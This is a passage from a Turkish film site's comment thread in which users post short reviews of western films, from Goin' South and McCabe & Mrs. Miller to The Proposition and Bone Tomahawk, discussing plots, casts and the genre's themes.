    Jack Nicholson’un yönettiği filmde, at hırsızı bir çete üyesini şerif ve adamları Meksika sınırını geçer geçmez yakalarlar. Darağacına çıkarırlar ancak kasabada ilginç bir kanun vardır; toprak sahibi bir bayan onunla evlenmeyi kabul ederse idamdan kurtulabilecektir. İç savaş sonrası eve dönen erkeklerin azlığından dolayı çıkarılmış bu kanundan son anda yararlanabilmeyi başaran Henry Moon, hem hayatını kazanıyor hem de güzel bir gelini.

    Ancak güzel gelinimiz hiç de göründüğü gibi değil; kuralcı, katı, inatçı bir bayan. Ve tek istediği demiryolu şirketi topraklarını istimlak etmeden önce arazisinde bulunan eski altın madeninde var olduğunu hayal ettiği altını çıkarıp Philadelphia’ya gitmek. Ve evliliğini de maden çıkarırken bir yardımcı aradığından yapmıştır. Gel gelelim bu uçuk kaçık adamla evliliği hiç de planladığı gibi gitmez ve birbirlerine aşık olurlar. Bunun yanında kadını seven şerif yardımcısı ve Henry Moon’un eski çete üyeleri de işin içine karışınca tam bir kara komedi başlar.

    Film eğlenceli bir western olmasının yanı sıra, 1800′lü yılların Teksas’ından da insan manzaraları sunar. Jack Nicholsun’un canlandırdığı karakter Meksika’da kendisini tutuklayamayacaklarını, hakları olduğunu dile getirir. İdam edilmek üzereyken ise iç savaş sonrası iş bulamadığı için çalmak zorunda kaldığından bahseder. Kasabalıların arazilerinin demiryolu şirketi tarafından nasıl zorla ellerinden alındığını ve topraklarından çıkan “çamurlu su” dan dolayı artık mısır yetiştiremediklerinden göç etmeye başladıklarını görürüz. Henüz farkında olmasalar da “çamurlu su”yumuz da petrol tabii.

    Oyuncular oldukça tanıdık; Henry Moon’un eşi rolünde ‘Back to the Future III’de 1800′lerde yaşayan ve çılgın profesöre aşık olan öğretmen rolünde izlediğimiz Mary Steenburgen var. Hatta bu oyuncunun ilk filmiymiş. Ve kadına aşık şerif yardımcısı rolünde ise Geleceğe Dönüş’ün çılgın profesörü Christopher Lloyd var. Yine çete üyelerinden birini Danny DeVito oynuyor. Yıldızların gençlik hallerini görmek için bile izlenebilecek keyifli bir western filmi.

  • November76 diyor ki:

    The Quick and the Dead {Hızlı ve Ölü – 1995} / Sam Raimi

    *****spolier içerir!*****

    Gene Hackman, Russell Crowe, Sharon Stone ve Leonardo DiCaprio’nun rol aldığı bir western. Şu an konusunu çok net hatırlayamıyorum çünkü ülkemizde gösterildiği yıllarda sinemada izlemiştim. Gene Hackman kasabanın ensesi kalın, eli hızlı ve kötü adamını oynuyordu, Sharon Stone da çok hızlı silah çekebilen bir silahşörü. Filmin sonunda kasabanın kötü adamıyla kadın silahşör karşı karşıya geliyordu. Tahmin edin düelloyu kim kazanıyordu?

    Bu filmi buraya yazmamın nedeni filmdeki intikam hikayesinin, Leone’nin ünlü filmi ‘Once upon a time in the West’ {Bir Zamanlar Batıda – 1968} filminden ödünç alınmış gibi durmasıydı. İlkinde kötü adam Henry Fonda, küçük yaştaki Charles Bronson’u, boğazına ilmiği geçirdiği abisini omuzlarında tutmaya zorluyordu, ikincisinde ise Gene Hackman küçük yaştaki Sharon Stone’u babasını omzunda tutmaya. Herhalde ünlü filmin esin kaynağı olduğu filmlerden sadece biridir bu, ancak 90′lara gelindiğinde intikam hırsıyla yanan hızlı silahşörümüz artık bir kadın. Sinemada doksanların başında Thelma ve Louise ile başlayan feminist kıpırdanma westernleri de değişime zorlamıştı belki.

    Bir de filmin oyuncu kadrosunu hesaba katarsak izlenilesi bir 90′lar westerni diyebilirim.

  • kadir503 diyor ki:

    ‘McCabe & Mrs. Miller’ {1971} / Robert Altman

    70′lerde altın dönemini yaşayan Altman şükürler olsun ki filmografisine bir de western filmi eklemeyi es geçmemiş. Çokça şöhretli diğer filmleri arasında ve western sinemasında pek adı anılmasa da türü seven ya da sinemada farklı bir tat arayan izleyiciler için bulunmaz bir nimet filmimiz.

    1900′lerin başında Vahşi Batı’nın kuzeyinde cesur görünüşlü korkak iş adamı John McCabe genel ev, otel ve bardan oluşan kurduğu iş merkezi sonrası bölgenin de kralı haline geliyor(Bu bağlamda filmimiz Peckinpah’ın “The Ballad of Cable Hogue” adlı filmiyle akrabalık kuruyor). Karakterimizin merkezi işletirken ona akıl hocalığı yapan Constance’a aşık olması da hikâyenin romantizmin kısmını oluşturuyor, her ne kadar acı verse de… Filmimiz bu romantik gidişatı madenlerden ötürü, istedikleri yeri alan, ülkenin büyük şirketinin McCabe’nin iş merkezini almak istemesi sonrası bozuluyor. Hem de ne bozulma! Güllük gülistanlık giden filmimiz kıran kırana girişilen ‘soğuk’ çatışmalarla canlar yakıyor.

    Julie Christie’nin Oscar adaylığı aldığı mükemmel oyunculuğu ile hayat verdiği Constance Miller karakteri; film boyunca giydiği kürküyle hatırımızda kalan Warren Beauty’nin hayat verdiği McCabe ile tamamıyla zıt olmasına karşın ikilinin müthiş uyumu bu çok katmanlı westerni hem iyi bir drama hem de hüzünlü bir aşk filmine dönüştürüyor.

    Karı fon olarak alan, flaş pozlama yöntemiyle oluşturulmuş, filme unutulmaz bir hüzün katan sinematografisi, Leonard Cohen’nin filmin göze hitap etmesinin dışında kulaklara da hitap etmesini sağlayan müthiş parçaları ve kapitalizm eleştirisi ayrıksı, unutulmaz bir western yapıyor “McCabe & Mrs. Miller”i.

    “Hayatımda bir kadın beni bu kadar düşündürmeyi başardı. O da fahişenin teki çıktı”. John McCabe

  • kadir503 diyor ki:

    ‘Lone Star’ {Yalnız Adam – 1996} / John Sayles

    Western türünün son başyapıtı kabul edilen ‘Unforgiven’dan sonra ölmek üzere olan türü canlandırabilecek farklılaştırmayı/modernleştirmeyi ne yazık ki halen tam anlamıyla görmüş değiliz. Ancak bu kıpırdanmanın ya da tür üzerinde farklı yönde hikâye anlatımının; işte o kıpırdanmalarından ‘Lone Star’…

    Tür kırmaları ve kolajlarla dolu bir dönem olan 90′lar sinemasına tam anlamıyla uyan bir film ‘Lone Star’. Tüm western türünün geçmişinden aşina olduğumuz Teksas eyaletinde o eski westernlere benzemese de çeşitli yollardan o kokuyu duyduğumuz filmimiz bir bakıma da bir dedektiflik filmi görünümünde.

    Babasının şöhreti altında ezilen istediği hayata bir türlü kavuşamayan şerifimiz Sam(Chris Chooper); çorak arazide bulunan iskelet kalıntılarının kime ait olduğunu araştırmaya başlaması üzerine tüm eyaletin geçmişi ve geleceğiyle alakadar bir yolculuğa çıkar. Özellikle Teksas sınırında geçen öykü; hem geçmişte yapılan ırkçılığı, sınıf ayrımını gözler önüne sererken hem de çokça tartışılmakta olan eyaletin sonraki durumunu da gözler önüne serer. Araya geçmişten gelen bir de aşk hikâyesi sıkıştırmayı da ihmal etmez.

    Geriye dönüşlü anlatım dili hiç sekmezken, filmin çok katmanlı yönetmene Oscar adaylığı getiren senaryosu da eksiksizdir. Tüm film boyunca sanki zorla giydirilmiş gibi duran üniformasıyla izlediğimiz şerifimiz western mitini canlandırırken finalde söylenen “Alamo’yu unutmalı” repliğiyse yönetmen Sayles’ın önceki filmlerinde de işlediği çatışma içerisindeki topluma verilen bir cevaptır.

    Western miti üzerine kurulu bu dedektiflik hikâyesi Teksas eyaletinin sorunlarını ortaya koyduğu kadar da hem karakterleri için hem de eyalet için ‘yeni bir başlangıç’ filmidir.

    90′larda kıyıda köşede kalmış “Lone Star” her açıdan keşfedilmeyi bekleyen bağımsız bir sinema eseri.

  • okaliptus80 diyor ki:

    ‘Santa Fe Trail’ {Santa Fe Yolu – 1940} / Michael Curtiz

    Demiryolları, farklı ülkelerin toplumsal dinamiği içinde (tabiatıyla sinemaya olan yansımalarında) farklı anlamlar teşkil ediyor. Mesela bir Sovyet Devrim Sineması örneğinde toplumculuğun ve dayanışmanın işaretiyken; Hollywood’da uygarlığın nişanesi ve “Vahşi Batı’nın bekaretine uzanmanın” aracı oluveriyor. Santa Fe Yolu gibi…
    Anlatıcı sesin dediği üzere: “Demiryollarının ve medeniyetin bittiği yerde, Santa Fe Yolu başlar!”

    Biyografik özellikler de taşıyan film, 1850′lerde, İç Savaş’ın kapıda olduğu dönemlerde geçer. Milliyetçiliğin kalelerinden West Point askeri akademisinden yüzbaşı rütbesiyle mezun olan Jeb Stuart (Errol Flynn) ve George Armstrong Custer (Ronald Reagan), ilk vazifelerini de alırlar: Kansas’a gitmek ve burada terör estiren (!) John Brown’ı yakalayıp devlete teslim etmek. Amerikan kahramanlığını ve beyaz adamın ırkçılığını temsil eden askeri müfrezeyle; ezilen kölelerin/zencilerin sesi konumundaki Brown ve kuvvetleri arasında gittikçe yükselen bir çatışmaya tanıklık edeceğiz.

    Film, o yıllardaki pek çok western gibi Amerikan tarihini “yeniden yazmaya” koyuluyor. John Brown, filmin -gerçek hayatında olduğu gibi- köleliğin tamamen kaldırılması için mücadele veren figürü. İdealleri olan bir adam. Yılmıyor. Fakat öyle fanatik ve hasta ruhlu şekilde çiziliyor ki filmde, bir anda askerlerden yana olasınız geliyor. Şüphesiz filmin istediği de bu! Öyle ki, Brown’ın -yüzbaşının kuvvetlerince yakalanan- oğlu dahi babasının aşırılıklarından yaka silkiyor hasta yatağında.
    Zenciler dahi koruyucuları olan beyaz adama yüz çeviriyor bir süre sonra: “Brown bize özgürlük vaat etmişti ama şimdi…”

    Belki de en makul yaklaşım, iki yüzbaşının da gönül verdikleri Kit Carson Holliday’dan (Olivia de Havilland) geliyor: “Aslında uğruna mücadele verdiği davası, haklı bir dava. Ancak başvurduğu yöntem yanlış!”

    Kısacası, filmin bütününe sinen bir ırkçılık görüyoruz. Sinsi bir ırkçılık! Bazense aleni. (Kompartımandaki zenciyi atmak isteyen kondüktör…) Bunun haricinde western sevenler için oldukça iyi bir seyirlik bence. Güzel film.

    Curtiz, Robin Hood’undan sonra Errol Flynn ve güzel oyuncu Olivia de Havilland’ı bir kez daha yan yana getiriyordu. İkili arasında bir aşk yaşanıyorsa da, bu belli belirsiz ve çok az yer alıyor filmde. Asıl konunun yanında kaynıyor.
    1980′li yılların Cumhuriyetçi başkanı da yine o alıştığımız kovboy rollerinden birinde. Üstelik 19. yüzyılın en büyük kızılderili katliamına imza atmış bir şahsiyetin ilk dönemlerini canlandırıyor. Oyunculuğu da pek sırıtmıyor hani.

  • kadir503 diyor ki:

    ‘The Proposition’ {Kanlı Teklif – 2005} / John Hillcoat

    İngiliz işgalindeki Avustralya’da geçen filmimizde; aborjin denilen yerli halk, ülkeyi medenileştireceklerini ileri süren -sözde- medeni batılılar ve tüm insanlardan nefret eden azılı bir çetenin ilişkisi anlatılıyor.

    Bölgeyi medenileştirmeye yönelik Şerif Stanley(Ray Winstone) ilk olarak çevreye korku saçan aranan Burns aile çetesinin kökünü kazımayı kafaya takıyor. Bunun için ise insalıktan nasibini almamış abisini öldürmezse Charlie Burns(Guy Pearce)’e noelde kardeşini asacağını söyler. Bu teklif üzerine ise filmimiz varoluçşu, felsefik sulara hiç çıkmamak üzere geçiş yapar.

    Batılıların hiç de söyledikleri gibi medeni olmadıklarını ya da Burns ailesinin de gözüktüğü kadar duygularının körelmiş olmadığını gösteren filmin hikayesi yapılan teklif sonrası iki kolda ilerler. Birinde Charlie öldürmek zorunda olduğu abisiyle ilişkisini güçlendirirken; Stanley ile eşinin ilişkisi ve bölgedeki adalet, güç kavgası filmin merkezine yerleşir. Finalde ise şiddet dizginlerden boşalırcasına kendisini gösterirken tüm film boyunca beklenen şiddet gösterisi vurucu bir halde en sonda verilir.

    Çorak araziler, azılı katiller ve şerif öğelerle western mitini arkasını alan ‘The Proposition’; oldukça felsefik ve derinlikli olmasının yanı sıra sunduğu karamsar atmosferle birlikte muazzam müzikleriyle de akıllarda yer edinecek, son yılların en iyi western çalışmalarından…

  • oscar1895 diyor ki:

    The Proposition’ın varlığından geçen günlerde haberdar olmuştum sevgili Kadir. John Hillcoat’ın son filmi The Road’u izledikten sonra yönetmenin önceki işlerini merak etmiştim. Bu filmin fazlasıyla dikkatimi çekmesinin sebeplerinden biri de senaryosunun Nick Cave’e ait olmasıydı. Nick Cave biliyorsun Warren Ellis’le beraber The Assassination of Jesse James by the Coward Robert Ford’un müziklerine imza atıp bizi yerle bir etmişti. John Hillcoat’ın başarılı post apokaliptik filmi The Road’ta da harikalar yaratmıştı. İnsan bu muhteşem müzik adamının yazdığı senaryoyu merak etmiyor değil. Bu yazdığın yazıyla merakımızı perçinlemiş oldun. Teşekkürler…

  • kadir503 diyor ki:

    ‘Johnny Guitar’ {Dişi Kartal – 1954}/ Nicholas Ray

    İçki içen, küfreden, yeri geldiğinde peşlerinde koşan kadınları yüz üstü bırakan erkek karakterler western sinemasının dünyaya ve kadına olan bakışının göstergesi olmuştu tabii ki Nicholas Ray’in “Johnny Guitar” adlı filmine kadar…

    Yazının girişinden de anlayacağımız gibi western türünde erkek hegemonyasının yıkılışının göstergesidir ‘Johnny Guitar’. Tabii daha sonra Peckinpah ya da Leone gibi ustalar bu hegemonyayı daha da maço bir biçimde türe enjekte etmiş olsalar da feminist western olarak adlandırabileceğimiz ‘Johnny Guitar’ın türe olan etkisi görmezden gelinemeyecek cinstedir. Daha sonraları kadınların erkeklerden bir adım önde oldukları western filmlerine şahit olduysak kuşkusuz bunda ‘Johnny Guitar’ın payı çok yüksektir.

    Arizona’da bar işleten Vienne (Crawford); bölgenin serserisi Dancin’ Kid ile inişli çıkışlı bir aşk yaşamaktadır. Vienne’in kendinden emin tavrı ve bu serseriyle ilişkisi kasaba sakinleri tarafından pek hoş karşılanmamakla birlikte kasabada sözü geçen, kasabalının içinden gelen Emma da her fırsatta reddetse de Dancin’ Kid’e âşıktır. Bu aşk üçgeni ve Vienne’in kasabaya göre ayrıksı karakteri farklı iki kutbu doğurmuştur. Vienne’nin kalbine gömdüğü, filme de ismini veren, eski aşkı Johnny’nin ortaya çıkmasıyla gerilen ipler tamamen koparak çoğunlukla azınlık arasında sert bir mücadele başlayacaktır.

    Bir western filminden bahsederken bu kadar fazla ‘aşk’ sözcüğü geçmesine alışık olmasak da filmdeki duygu yoğunluğunu düşününce bunu doğal karşılamak gerek. Lakin birçok western filminde şiddet dolu hikâye filme egemen olurken ‘Johnny Guitar’da “duygu” ön plândadır ve filmin gidişatına her karede destek olur. Hatta filmin büyük bir bölümünde epik bir melodram tadı alınır.

    Her yönüyle ayrıksı bu westerne bir de Peggy Lee’nin buğulu sesiyle kulaklarımızın pasını sildiği filmle aynı adı taşıyan parça eklenince “Johnny Guitar”ın ne kadar eşsiz bir film olduğu ortaya çıkıyor…

  • kadir503 diyor ki:

    ‘Il mio nome è Nessuno’ {My Name is Nobody / Benim Adım Hiçkimse – 1973} / Tonino Valerii

    İtalyan westernlerinin sinema tarihinde belli bir yer edinmesini sağlayan ve bu türde birçok film çekilmesini sağlayan Sergio Leone’nin çırağı Tonino Valerii’nin elinden çıkma komedi soslu bir spagetti western “My Name is Nobody”. Filmde Leone’nin payı da oldukça büyük. Zira filmin yapımcılığının ya da fikir babalığının yanı sıra yönetmen koltuğunda da Valerii’ye yardımcı olmuştur. Lakin isminin yönetmen olarak jenerikte yer almasını istememiştir.

    Türün olmazsa olmazı olan efsanevi silahşor kavramı bu filmde de devam ediyor. Henry Fonda’nın canlandırdığı karizmatik Jack Beauregard karakteri oldukça etkileyici bir açılışla izleyiciye tanıtılıyor. Daha sonra ise Terence Hill’in canlandırdığı Beauregard’a hayran, bir bakıma adam öldürme konusunda ona yakın yetenekte olan tamamen zıt karakterde, adını herkese ‘Hiçkimse/Nobody’ olarak tanıtan western filmlerinde pek görülemeyecek şebeklikteki sivrizeka kovboyumuzla tanışıyoruz. Yalnız bu karakterlerle tanışma anları filmde oldukça iyi tasarlanmış. Beauregard’ın usturalı berber sahnesi ve Nobody’nın enteresan balık avı karakterleri tanıma açısından oldukça dikkat çekici.

    Karakterleri tanıdıktan sonra film aslında pek de bir meselesi yokmuş gibi ilerliyor. Zira filmin komedi yönü de bu bölümlerde kendisini gösteriyor. Ancak çoğu slapstick sahnelerden oluşan komedi sahneleri ile ciddiyetin korunduğu bölümler başarıyla sentezlenmesinden filmin bu yönü eğreti durmuyor. Bir bölümü güldürü sahnelerinden oluşan, filmin belli bir öykü düzleminde ilerlemediği bölümlerde de aslında yönetmen hikâyenin nasıl bir ortamda cereyan ettiğini tanıtıyor. Filmin esas meselesi kasabanın kodamanının yasadışı elde ettiği altınlar olsa da Nobody’nin herkesi şaşırtmayı başaracak sürpriz bir planı bulunuyor.

    Ekürisi Bud Spencer ile çektiği Trinity serisinden sonra zaten türe alışkın Terence Hill’in şöhretine şöhret katmasının yanı sıra film Henry Fonda’nın rol aldığı son western filmidir. Ennio Morricone’nin, birçok yerli yapımımızda da kullanılan, muazzam müzikleri ile filmin Leone’nin western görüşünden biraz daha muzip yapısı ve spagetti westernlerin en iyi dönemini yaşadığı dönemde çekilmiş son westernlerden biri olması nedeniyle de göz ardı edilmemesi gereken filmler arasında olduğu rahatlıkla söylenebilir.

    Son olaraksa filmde yer alan ‘wild bunch’ çetesi ve mezarlık sahnesinde gözüken Sam Peckinpah mezarı Leone’nin Peckinpah ile beraber çekmek istediği‘Giù la testa’ filmini birlikte çekmeyi reddeden Sam Peckinpah’a yaptığı hoş bir atıf olarak filmde yer aldığını ekleyeyim.

  • Kadircan KENDİNİBİLİR diyor ki:

    Son birkaç yıldır western sineması aslında yakın geçmişteki alışkanlığını bozmadan pek fazla izlenesi film çıkar(a)madı. Belki de başlık ondan böyle öksüz kaldı:) Yalnız, geçtiğimiz yıl izlediğim iki film beni kısmen de olsa tatmin etmeyi başardı. Gecikmeli olarak paylaşmak isterim.

    ‘The Salvation’ {İntikam, 2014} / Kristian Levring

    Danimarkalı yönetmen Kristian Levring’in elinden çıkan film, 1870′li yıllarının Amerikasında geçiyor… O zamanlarda da ABD fazlaca göç alan bir ülke olarak göze çarpıyor.

    Göçmen olmak post modern dünyada bile zorluklar barındırırken, Vahşi Batı’da son derece acımasız bir görünüme bürünüyor. Başta Levring göçmen öyküsü anlatması sebebiyle farklı bir western izleyecekmişiz hissiyati veriyor. Malesef, film ilerledikçe bilindik bir intikam öyküsüne dönüşüyor.

    Gerek Hollywood’un gerekse Avrupa sinemasının revaçta oyuncusu Mads Mikkelsen filmde gerçekten iyi bir kovboy görüntüsü veriyor. Yanında güzeller güzeli Eva Green, kötü adamlığın hakkını teslim eden Jeffrey Dean Morgan ve filmin sürprizi olan Eric Cantona’lı oyuncu kadrosu göz kamaştırıyor.

    Ayrıca filmin yüksek kontrastlı görüntü çalışması ve özlediğimiz tansiyonu yüksek çatışma sahneleriyle western mitinin hissiyatını pek bir yenilik sunamasa da izleyene aktarmayı başarıyor.

  • Kadircan KENDİNİBİLİR diyor ki:

    ‘Slow West’ {Sakin Batı, 2015} / John Maclean

    John Maclean’in ilk debutu olan filmimiz 17 yaşındaki Jay’in sevdiği kızın uğruna çıktığı Vahşi Batı yolculuğunu konu ediniyor. Film için yol filmi tanımlaması da rahatlıkla yapılabilir.

    Çıktığı yolculukta Jay birçok zorlukla karşılaşıyor. Bunların en dikkat çekeni de filmin Jay’den sonra diğer baş karakteri olan Silas oluyor. Ne yapacağını kestiremediğimiz ‘cool’ ve bir o kadar da sert kovboy olarak son yılların çıkışta oyuncusu Michael Fassbander oldukça iddalı bir performans ortaya koyuyor.

    “Slow West” olabildiğine klişelerden kaçmaya çalışan senaryosu ve dingin atmosferiyle birçok western ve günümüz filminden sıyrılıyor. Ancak film sonlandığında sanki filmin oluşturduğu beklenti tam olarak karşılanamamış hissiyatını da yaşatıyor.

    Yine de gayet keyifli ve görülesi bir film.

  • Kadircan KENDİNİBİLİR diyor ki:

    ‘Bone Tomahawk’ {2015} / S. Craig Zahler

    Daha önce birkaç korku türündeki filmde görev alan Craig Zahler’in ilk yönetmenlik denemesi olan film yapı olarak western türüne dahil olsa da özellikle son yarım saatiyle filmi korku türüne de dahil etmeyi başarıyor.

    Filmin senaryosunu da yazan Zahler, 50′li yılların Hollywood westernlerine oldukça yakın görsel bir estetik filmde kullanılıyor. Bunun yanında bir kurtarma öyküsüne dönüşen film birçok westerne has yolculuk temasını da hakkıyla işliyor. Kısacası türe ait birçok temel öğeler filmde başarıyla karşımıza çıkıyor.

    Sakin yapısıyla ilerleyen film son yarım saatte ulaştığında Vahşi Batı’nın adeta adının neden Vahşi Batı olduğunu sorgulayarak bambaşka bir noktaya geliyor. ‘Holokost’ filmlerini kıskandıracak cinsteki şiddet sahneleri, karakterlerin çaresizliğiyle birleşerek izleyen üstünde büyük bir şok etkisi yaratıyor.

    Kurt Russell, Patrick Wilson ve Matthew Fox gibi isimleri oyuncu kadrosunda bulunan “Bone Tomahawk”; son yılların en dikkat çekici filmlerinden biri olmayı başarıyor. Midesi ve sinir sistemi sağlam olan sinefiller için bulunmaz bir nimet.

Yorumunuzu bildirin

Yazı hakkında yorum yapabilmeniz için giriş yapmalısınız.

Kategoriler
  • Dosyalar
  • +DVD Köşesi
  • +Festival ve Seçkiler
  • +Film Eleştirileri
  • +Genel
  • +Hacksaw Ridge
  • +Söyleşiler
  • +Yönetmenler